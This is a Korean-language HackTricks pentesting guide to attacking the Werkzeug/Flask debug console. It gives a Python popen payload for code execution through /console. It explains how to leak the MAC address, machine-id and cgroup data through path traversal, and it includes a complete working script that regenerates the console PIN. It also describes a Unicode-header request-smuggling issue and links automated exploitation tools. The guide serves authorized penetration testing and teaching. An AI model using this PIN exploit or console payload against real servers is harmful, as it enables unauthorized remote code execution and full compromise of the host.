hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

198 lines
10 KiB
Markdown

# Werkzeug / Flask 디버그
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하십시오. 우리는 펜테스터를 대체하지 않습니다 - 우리는 사용자 정의 도구, 탐지 및 악용 모듈을 개발하여 그들에게 더 깊이 파고들고, 쉘을 열고 즐길 시간을 돌려줍니다.
{% embed url="https://pentest-tools.com/" %}
## 콘솔 RCE
디버그가 활성화되어 있다면 `/console`에 액세스하여 RCE를 얻어볼 수 있습니다.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (117).png>)
인터넷에는 [이것](https://github.com/its-arun/Werkzeug-Debug-RCE)과 같은 여러 취약점이 있습니다. 또한 metasploit에도 하나가 있습니다.
## Pin Protected - 경로 이탈
일부 경우에는 **`/console`** 엔드포인트가 핀으로 보호될 수 있습니다. **파일 이탈 취약점**이 있는 경우, 해당 핀을 생성하는 데 필요한 모든 정보를 누출할 수 있습니다.
### Werkzeug Console PIN Exploit
앱에서 디버그 오류 페이지를 강제로 표시하여 다음을 확인하세요:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Werkzeug의 디버그 인터페이스에 액세스하려고 할 때 "콘솔 잠김" 시나리오에 대한 메시지가 나타나며 콘솔을 잠금 해제하기 위해 PIN이 필요하다는 것을 나타냅니다. Werkzeug의 디버그 초기화 파일(`__init__.py`)에서 PIN 생성 알고리즘을 분석하여 콘솔 PIN을 악용하는 것이 제안됩니다. PIN 생성 메커니즘은 [**Werkzeug 소스 코드 저장소**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)에서 연구할 수 있지만 잠재적인 버전 불일치로 인해 실제 서버 코드를 파일 탐색 취약점을 통해 확보하는 것이 좋습니다.
콘솔 PIN을 악용하기 위해 `probably_public_bits``private_bits` 두 세트의 변수가 필요합니다:
#### **`probably_public_bits`**
* **`username`**: Flask 세션을 시작한 사용자를 가리킵니다.
* **`modname`**: 일반적으로 `flask.app`으로 지정됩니다.
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 일반적으로 **Flask**로 해석됩니다.
* **`getattr(mod, '__file__', None)`**: Flask 디렉토리 내의 `app.py`의 전체 경로를 나타냅니다(예: `/usr/local/lib/python3.5/dist-packages/flask/app.py`). `app.py`가 해당되지 않는 경우 **`app.pyc`를 시도**하십시오.
#### **`private_bits`**
* **`uuid.getnode()`**: 현재 컴퓨터의 MAC 주소를 가져와 `str(uuid.getnode())`로 10진수 형식으로 변환합니다.
* **서버의 MAC 주소를 결정**하려면 앱에서 사용하는 활성 네트워크 인터페이스를 식별해야 합니다(예: `ens3`). 불확실한 경우, 장치 ID를 찾기 위해 **`/proc/net/arp`를 누출**한 다음 **`/sys/class/net/<device id>/address`**에서 MAC 주소를 **추출**하십시오.
* 16진수 MAC 주소를 10진수로 변환하는 방법은 다음과 같습니다:
```python
# 예시 MAC 주소: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* **`get_machine_id()`**: `/etc/machine-id` 또는 `/proc/sys/kernel/random/boot_id`에서 데이터를 가져와 `/proc/self/cgroup`의 마지막 슬래시(`/`) 이후 첫 번째 줄과 연결합니다.
<details>
<summary>`get_machine_id()` 코드</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
</details>
필요한 모든 데이터를 수집한 후, exploit 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 스크립트는 조립된 `probably_public_bits``private_bits`를 사용하여 해시를 생성하고, 이 해시는 추가 처리를 거쳐 최종 PIN을 생성합니다. 아래는 이 프로세스를 실행하는 Python 코드입니다:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```
이 스크립트는 비트를 연결하여 PIN을 생성하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하고 출력을 형식화합니다. Werkzeug 콘솔이 예상하는 PIN과 일치하는지 확인하려면 대상 시스템에서 `probably_public_bits``private_bits`의 실제 값이 정확히 가져와져야 합니다.
{% hint style="success" %}
Werkzeug의 **이전 버전**을 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보세요.
{% endhint %}
## Werkzeug 유니코드 문자
[**이 이슈**](https://github.com/pallets/werkzeug/issues/2833)에서 관찰된 바와 같이 Werkzeug는 헤더에 유니코드 문자가 포함된 요청을 닫지 않습니다. 그리고 [**이 설명**](https://mizu.re/post/twisty-python)에서 설명한대로, 이는 CL.0 요청 스머글링 취약점을 유발할 수 있습니다.
이는 Werkzeug에서 일부 **유니코드** 문자를 보낼 수 있고 서버를 **중단**시킬 수 있다는 점 때문입니다. 그러나 HTTP 연결이 헤더 **`Connection: keep-alive`**로 생성된 경우 요청의 본문이 읽히지 않고 연결이 여전히 열린 상태로 유지되므로 요청의 **본문**이 **다음 HTTP 요청**으로 처리됩니다.
## 자동화된 악용
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
## 참고 자료
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**취약점 평가 및 펜테스팅을 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 리콘부터 보고서 작성까지 전체 펜테스트를 어디서든 실행하세요. 우리는 펜테스터를 대체하지 않습니다 - 깊이 파고들고 쉘을 열고 즐기기 위해 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>제로부터 AWS 해킹을 전문가로 학습하세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 홍보**하거나 **PDF 형식의 HackTricks 다운로드**를 원하시면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>